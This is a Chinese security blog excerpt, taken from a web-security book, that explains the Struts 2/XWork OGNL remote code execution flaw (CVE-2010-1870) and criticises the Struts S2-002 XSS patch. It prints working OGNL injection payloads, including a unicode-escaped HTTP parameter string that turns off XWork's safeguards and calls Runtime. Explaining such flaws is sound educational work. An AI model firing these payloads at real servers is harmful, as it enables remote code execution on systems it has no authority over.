Web框架自身安全
Web框架自身安全
下面講到的幾個漏洞,都是一些流行的Web開發框架曾經出現過的嚴重漏洞。研究這些案例,可以幫助我們更好地理解框架安全,在使用開發框架時更加的小心,同時讓我們不要迷信於開發框架的權威。
2010年7月9日,安全研究者公佈了Struts 2一個遠端執行程式碼的漏洞(CVE-2010-1870),嚴格來說,這其實是XWork的漏洞,因為Struts 2的核心使用的是WebWork,而WebWork又是使用XWork來處理action的。
這個漏洞的細節描述公佈在exploit-db[1]上。
在這裡簡單摘述如下:
XWork透過getters/setters方法從HTTP的引數中獲取對應action的名稱,這個過程是基於OGNL(Object Graph Navigation Language)的。OGNL是怎麼處理的呢?如下:
user.address.city=Bishkek&user['favoriteDrink']=kumys
會被轉化成:
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
這個過程是由ParametersInterceptor呼叫ValueStack.setValue()完成的,它的引數是使用者可控的,由HTTP引數傳入。OGNL的功能較為強大,遠端執行程式碼也正是利用了它的功能。
* Method calling: foo()
* Static method calling: @java.lang.System@exit(1)
* Constructor calling: new MyClass()
* Ability to work with context variables: #foo = new MyClass()
* And more...
由於引數完全是使用者可控的,所以XWork出於安全的目的,增加了兩個方法用以阻止程式碼執行。
* OgnlContext's property 'xwork.MethodAccessor.denyMethodExecution' (預設為true)
* SecurityMemberAccess private field called 'allowStaticMethodAccess' (預設為false)
但這兩個方法可以被覆蓋,從而導致程式碼執行。
#_memberAccess['allowStaticMethodAccess'] = true
#foo = new java .lang.Boolean("false")
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo
#rt = @java.lang.Runtime@getRuntime()
#rt.exec('mkdir /tmp/PWNED')
ParametersInterceptor是不允許引數名稱中有#的,因為OGNL中的許多預定義變數也是以#表示的。
* #context - OgnlContext, the one guarding method execution based on 'xwork.MethodAccessor. denyMethodExecution' property value.
* #_memberAccess - SecurityMemberAccess, whose 'allowStaticAccess' field prevented static method execution.
* #root
* #this
* #_typeResolver
* #_classResolver
* #_traceEvaluations
* #_lastEvaluation
* #_keepLastEvaluation
可是攻擊者在過去找到了這樣的方法(bug編號XW-641):使用\u0023來代替#,這是#的十六進位制編碼,從而構造出可以遠端執行的攻擊payload。
('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.den
yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti
me()))=1
最終導致程式碼執行成功。
Struts 2官方目前公佈了幾個安全補丁[2]:
Struts 2官方的補丁頁面
但深入其細節不難發現,補丁提交者對於安全的理解是非常粗淺的。以S2-002的漏洞修補為例,這是一個XSS漏洞,發現者當時提交給官方的POC只是構造了script標籤。
(1)test=hello
我們看看當時官方是如何修補的:
新增的修補程式碼:
可以看到,只是簡單地替換掉
由此可見,Struts 2的開發者,本身對於安全的理解是非常不到位的。
本文節選自《白帽子講Web安全》一書。
圖書詳細資訊:http://space.itpub.net/?uid-13164110-action-viewspace-itemid-720731
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/13164110/viewspace-720732/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 《白帽子講WEB安全》學習筆記之第12章WEB框架安全Web筆記框架
- Abp框架Web站點的安全性提升框架Web
- 華為雲:網路安全愈發重要,企業該如何保障自身業務安全?
- AI防護網路安全?有時它也自身難保AI
- web開發安全框架中的Apache Shiro的應用Web框架Apache
- web安全Web
- 前端web框架前端Web框架
- web ui 框架WebUI框架
- Web services框架Web框架
- Web框架expressWeb框架Express
- Rails與web安全[Web安全大家談]薦AIWeb
- golang web框架,golang版本laravel 框架GolangWeb框架Laravel
- web安全類Web
- Web安全概述Web
- web安全—TokenWeb
- PHP web 安全PHPWeb
- 安全需求框架框架
- Rust Web框架列表RustWeb框架
- Java Web UI框架JavaWebUI框架
- Python Web框架PythonWeb框架
- JdonFramework web框架整合FrameworkWeb框架
- ASP.NET Web API自身對CORS的支援:從例項開始ASP.NETWebAPICORS
- 自己編寫Java Web框架:Takes框架的Web App架構JavaWeb框架APP架構
- wsgiref模組、web框架、django框架簡介Web框架Django
- 獲取自身ip
- webservice得到自身IPWeb
- 談談 Web 安全Web
- 淺談 Web 安全Web
- Web安全測試Web
- WEB安全知多少Web
- Web安全-XSSWeb
- Web安全基礎Web
- web安全系列Web
- Web安全實戰Web
- web安全淺析Web
- web安全面經Web
- Web框架之TornadoWeb框架
- django重量級web框架DjangoWeb框架